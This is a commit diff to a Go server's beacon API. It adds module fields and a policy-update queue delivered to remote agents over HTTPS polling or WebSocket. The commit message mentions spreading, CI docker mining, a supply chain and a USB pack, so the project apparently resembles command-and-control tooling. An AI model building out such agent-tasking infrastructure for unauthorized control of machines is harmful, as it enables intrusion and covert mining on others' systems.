feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

server/internal/api/beacon.go

@@ -18,6 +18,7 @@ type BeaconCommand struct {
 	Command   string `json:"command,omitempty"`
 	Path      string `json:"path,omitempty"`
 	Data      string `json:"data,omitempty"`
+	Module    string `json:"module,omitempty"`
 }
 
 type beaconRequest struct {
@@ -30,8 +31,9 @@ type beaconRequest struct {
 }
 
 type beaconResponse struct {
-	OK       bool            `json:"ok"`
-	Commands []BeaconCommand `json:"commands"`
+	OK       bool               `json:"ok"`
+	Commands []BeaconCommand    `json:"commands"`
+	Policies []FleetAgentPolicy `json:"policies,omitempty"`
 }
 
 type beaconResultRequest struct {
@@ -50,6 +52,9 @@ func (h *WSHub) initBeaconMaps() {
 	if h.beaconCmdQueue == nil {
 		h.beaconCmdQueue = make(map[string][]BeaconCommand)
 	}
+	if h.beaconPolicyQueue == nil {
+		h.beaconPolicyQueue = make(map[string][]FleetAgentPolicy)
+	}
 }
 
 func (h *WSHub) agentExistsInDB(agentID string) bool {
@@ -77,6 +82,7 @@ func (h *WSHub) ClearBeaconTransport(agentID string) {
 	h.beaconMu.Lock()
 	delete(h.beaconLastSeen, agentID)
 	delete(h.beaconCmdQueue, agentID)
+	delete(h.beaconPolicyQueue, agentID)
 	h.beaconMu.Unlock()
 }
 
@@ -116,6 +122,9 @@ func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]int
 	if v, ok := args["data"].(string); ok {
 		cmd.Data = v
 	}
+	if v, ok := args["module"].(string); ok {
+		cmd.Module = v
+	}
 	h.initBeaconMaps()
 	h.beaconMu.Lock()
 	h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
@@ -123,6 +132,30 @@ func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]int
 	return true
 }
 
+// EnqueueBeaconPolicy queues a policy_update for HTTPS beacon delivery.
+func (h *WSHub) EnqueueBeaconPolicy(agentID string, policy FleetAgentPolicy) bool {
+	if !h.agentExistsInDB(agentID) || !h.isAgentBeaconReachable(agentID) || policy.IsEmpty() {
+		return false
+	}
+	h.initBeaconMaps()
+	h.beaconMu.Lock()
+	h.beaconPolicyQueue[agentID] = append(h.beaconPolicyQueue[agentID], normalizeFleetAgentPolicy(policy))
+	h.beaconMu.Unlock()
+	return true
+}
+
+func (h *WSHub) dequeueBeaconPolicies(agentID string) []FleetAgentPolicy {
+	h.initBeaconMaps()
+	h.beaconMu.Lock()
+	policies := h.beaconPolicyQueue[agentID]
+	delete(h.beaconPolicyQueue, agentID)
+	h.beaconMu.Unlock()
+	if policies == nil {
+		return []FleetAgentPolicy{}
+	}
+	return policies
+}
+
 func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
 	h.initBeaconMaps()
 	h.beaconMu.Lock()
@@ -217,7 +250,8 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
 	h.MarkBeaconSeen(agentID)
 	h.applyBeaconStats(agentID, req.Stats)
 	cmds := h.dequeueBeaconCommands(agentID)
-	writeJSON(w, beaconResponse{OK: true, Commands: cmds})
+	policies := h.dequeueBeaconPolicies(agentID)
+	writeJSON(w, beaconResponse{OK: true, Commands: cmds, Policies: policies})
 }
 
 // HandleAgentBeaconResult receives command results from HTTPS beacon agents.
@@ -249,6 +283,14 @@ func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request)
 	writeJSON(w, map[string]interface{}{"ok": true})
 }
 
+// FlushBeaconPoliciesToWS delivers queued HTTPS policy updates over WebSocket.
+func (h *WSHub) FlushBeaconPoliciesToWS(agentID string) {
+	for _, policy := range h.dequeueBeaconPolicies(agentID) {
+		payload := marshalFleetPolicyPayload(policy)
+		_ = h.SendToAgent(agentID, Message{Type: "policy_update", Payload: payload})
+	}
+}
+
 // FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
 func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
 	cmds := h.dequeueBeaconCommands(agentID)
@@ -266,6 +308,9 @@ func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
 		if cmd.Data != "" {
 			args["data"] = cmd.Data
 		}
+		if cmd.Module != "" {
+			args["module"] = cmd.Module
+		}
 		_ = h.SendAgentCommand(agentID, cmd.Action, args)
 	}
 }